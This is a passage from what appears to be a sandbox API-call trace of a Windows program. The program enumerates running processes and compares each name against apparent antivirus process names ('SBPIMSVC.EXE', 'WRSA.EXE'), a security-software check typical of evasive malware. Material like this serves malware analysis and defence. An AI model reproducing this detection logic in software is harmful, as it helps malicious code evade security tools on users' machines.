cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0067.652] lstrcmpW (lpString1="AUTHORIZED.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.652] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0067.653] lstrcpyW (in: lpString1=0x1ebf940, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0067.653] lstrlenW (lpString="isp.exe") returned 7 [0067.653] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0067.653] lstrcmpW (lpString1="ISP.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.653] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0067.654] lstrcpyW (in: lpString1=0x1ebf940, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0067.654] lstrlenW (lpString="cowboy.exe") returned 10 [0067.654] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0067.654] lstrcmpW (lpString1="COWBOY.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.654] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0067.654] lstrcpyW (in: lpString1=0x1ebf940, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0067.654] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0067.654] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0067.654] lstrcmpW (lpString1="J_VARIABLES_CHANGES.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.654] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0067.655] lstrcpyW (in: lpString1=0x1ebf940, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0067.655] lstrlenW (lpString="thats.exe") returned 9 [0067.655] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0067.655] lstrcmpW (lpString1="THATS.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.655] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0067.655] lstrcpyW (in: lpString1=0x1ebf940, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0067.655] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0067.655] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0067.656] lstrcmpW (lpString1="BIKES GOODS WHILST.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.656] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0067.656] lstrcpyW (in: lpString1=0x1ebf940, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0067.656] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0067.656] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0067.656] lstrcmpW (lpString1="REACHES PROCESSING CULTURE.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.656] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0067.657] lstrcpyW (in: lpString1=0x1ebf940, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0067.657] lstrlenW (lpString="actual.exe") returned 10 [0067.657] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0067.657] lstrcmpW (lpString1="ACTUAL.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.657] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0067.657] lstrcpyW (in: lpString1=0x1ebf940, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0067.657] lstrlenW (lpString="potter larry.exe") returned 16 [0067.657] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0067.657] lstrcmpW (lpString1="POTTER LARRY.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.657] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0067.658] lstrcpyW (in: lpString1=0x1ebf940, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0067.658] lstrlenW (lpString="contents what certificate.exe") returned 29 [0067.658] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0067.658] lstrcmpW (lpString1="CONTENTS WHAT CERTIFICATE.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.658] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0067.658] lstrcpyW (in: lpString1=0x1ebf940, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0067.658] lstrlenW (lpString="cindy.exe") returned 9 [0067.658] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0067.659] lstrcmpW (lpString1="CINDY.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.659] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0067.659] lstrcpyW (in: lpString1=0x1ebf940, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0067.659] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0067.659] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0067.659] lstrcmpW (lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.659] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0067.660] lstrcpyW (in: lpString1=0x1ebf940, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0067.660] lstrlenW (lpString="unusual.exe") returned 11 [0067.660] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0067.660] lstrcmpW (lpString1="UNUSUAL.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.660] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0067.660] lstrcpyW (in: lpString1=0x1ebf940, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0067.660] lstrlenW (lpString="pacific.exe") returned 11 [0067.660] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0067.660] lstrcmpW (lpString1="PACIFIC.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.660] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0067.661] lstrcpyW (in: lpString1=0x1ebf940, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0067.661] lstrlenW (lpString="phantom.exe") returned 11 [0067.661] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0067.661] lstrcmpW (lpString1="PHANTOM.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.661] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0067.661] lstrcpyW (in: lpString1=0x1ebf940, lpString2="backgroundTaskHost.exe" | out: lpString1="backgroundTaskHost.exe") returned="backgroundTaskHost.exe" [0067.661] lstrlenW (lpString="backgroundTaskHost.exe") returned 22 [0067.661] CharUpperBuffW (in: lpsz="backgroundTaskHost.exe", cchLength=0x16 | out: lpsz="BACKGROUNDTASKHOST.EXE") returned 0x16 [0067.661] lstrcmpW (lpString1="BACKGROUNDTASKHOST.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.661] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0067.662] lstrcpyW (in: lpString1=0x1ebf940, lpString2="dllhost.exe" | out: lpString1="dllhost.exe") returned="dllhost.exe" [0067.662] lstrlenW (lpString="dllhost.exe") returned 11 [0067.662] CharUpperBuffW (in: lpsz="dllhost.exe", cchLength=0xb | out: lpsz="DLLHOST.EXE") returned 0xb [0067.662] lstrcmpW (lpString1="DLLHOST.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.662] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0067.662] lstrcpyW (in: lpString1=0x1ebf940, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0067.662] lstrlenW (lpString="audiodg.exe") returned 11 [0067.662] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0067.663] lstrcmpW (lpString1="AUDIODG.EXE", lpString2="SBPIMSVC.EXE") returned -1 [0067.663] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0067.663] lstrcpyW (in: lpString1=0x1ebf940, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0067.663] lstrlenW (lpString="SCN0tification.exe") returned 18 [0067.663] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0067.663] lstrcmpW (lpString1="SCN0TIFICATION.EXE", lpString2="SBPIMSVC.EXE") returned 1 [0067.663] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 0 [0067.664] CloseHandle (hObject=0x1d0) returned 1 [0067.664] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0067.666] lstrcpyW (in: lpString1=0x1ebfb48, lpString2="WRSA.exe" | out: lpString1="WRSA.exe") returned="WRSA.exe" [0067.666] lstrlenW (lpString="WRSA.exe") returned 8 [0067.666] CharUpperBuffW (in: lpsz="WRSA.exe", cchLength=0x8 | out: lpsz="WRSA.EXE") returned 0x8 [0067.666] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.667] lstrcpyW (in: lpString1=0x1ebf940, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0067.667] lstrlenW (lpString="[System Process]") returned 16 [0067.667] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0067.667] lstrcmpW (lpString1="[SYSTEM PROCESS]", lpString2="WRSA.EXE") returned -1 [0067.667] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x65, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0067.667] lstrcpyW (in: lpString1=0x1ebf940, lpString2="System" | out: lpString1="System") returned="System" [0067.667] lstrlenW (lpString="System") returned 6 [0067.667] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0067.667] lstrcmpW (lpString1="SYSTEM", lpString2="WRSA.EXE") returned -1 [0067.667] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0067.669] lstrcpyW (in: lpString1=0x1ebf940, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0067.669] lstrlenW (lpString="smss.exe") returned 8 [0067.669] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0067.669] lstrcmpW (lpString1="SMSS.EXE", lpString2="WRSA.EXE") returned -1 [0067.669] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.669] lstrcpyW (in: lpString1=0x1ebf940, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0067.669] lstrlenW (lpString="csrss.exe") returned 9 [0067.669] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0067.669] lstrcmpW (lpString1="CSRSS.EXE", lpString2="WRSA.EXE") returned -1 [0067.669] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0067.670] lstrcpyW (in: lpString1=0x1ebf940, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0067.670] lstrlenW (lpString="wininit.exe") returned 11 [0067.670] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0067.670] lstrcmpW (lpString1="WININIT.EXE", lpString2="WRSA.EXE") returned -1 [0067.670] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.671] lstrcpyW (in: lpString1=0x1ebf940, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0067.671] lstrlenW (lpString="csrss.exe") returned 9 [0067.671] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0067.671] lstrcmpW (lpString1="CSRSS.EXE", lpString2="WRSA.EXE") returned -1 [0067.671] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0067.671] lstrcpyW (in: lpString1=0x1ebf940, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0067.671] lstrlenW (lpString="winlogon.exe") returned 12 [0067.671] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0067.671] lstrcmpW (lpString1="WINLOGON.EXE", lpString2="WRSA.EXE") returned -1 [0067.671] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0067.672] lstrcpyW (in: lpString1=0x1ebf940, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0067.672] lstrlenW (lpString="services.exe") returned 12 [0067.672] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0067.672] lstrcmpW (lpString1="SERVICES.EXE", lpString2="WRSA.EXE") returned -1 [0067.672] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0067.672] lstrcpyW (in: lpString1=0x1ebf940, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0067.672] lstrlenW (lpString="lsass.exe") returned 9 [0067.672] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0067.672] lstrcmpW (lpString1="LSASS.EXE", lpString2="WRSA.EXE") returned -1 [0067.672] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.673] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.673] lstrlenW (lpString="svchost.exe") returned 11 [0067.673] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.673] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.673] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.674] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.674] lstrlenW (lpString="svchost.exe") returned 11 [0067.674] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.674] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.674] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0067.674] lstrcpyW (in: lpString1=0x1ebf940, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0067.674] lstrlenW (lpString="dwm.exe") returned 7 [0067.674] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0067.674] lstrcmpW (lpString1="DWM.EXE", lpString2="WRSA.EXE") returned -1 [0067.674] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.675] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.675] lstrlenW (lpString="svchost.exe") returned 11 [0067.675] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.675] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.675] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.675] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.675] lstrlenW (lpString="svchost.exe") returned 11 [0067.675] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.675] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.675] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.676] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.676] lstrlenW (lpString="svchost.exe") returned 11 [0067.676] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.676] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.676] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.677] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.677] lstrlenW (lpString="svchost.exe") returned 11 [0067.677] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.677] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.677] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.677] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.677] lstrlenW (lpString="svchost.exe") returned 11 [0067.677] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.677] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.677] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.678] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.678] lstrlenW (lpString="svchost.exe") returned 11 [0067.678] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.678] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="WRSA.EXE") returned -1 [0067.678] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) 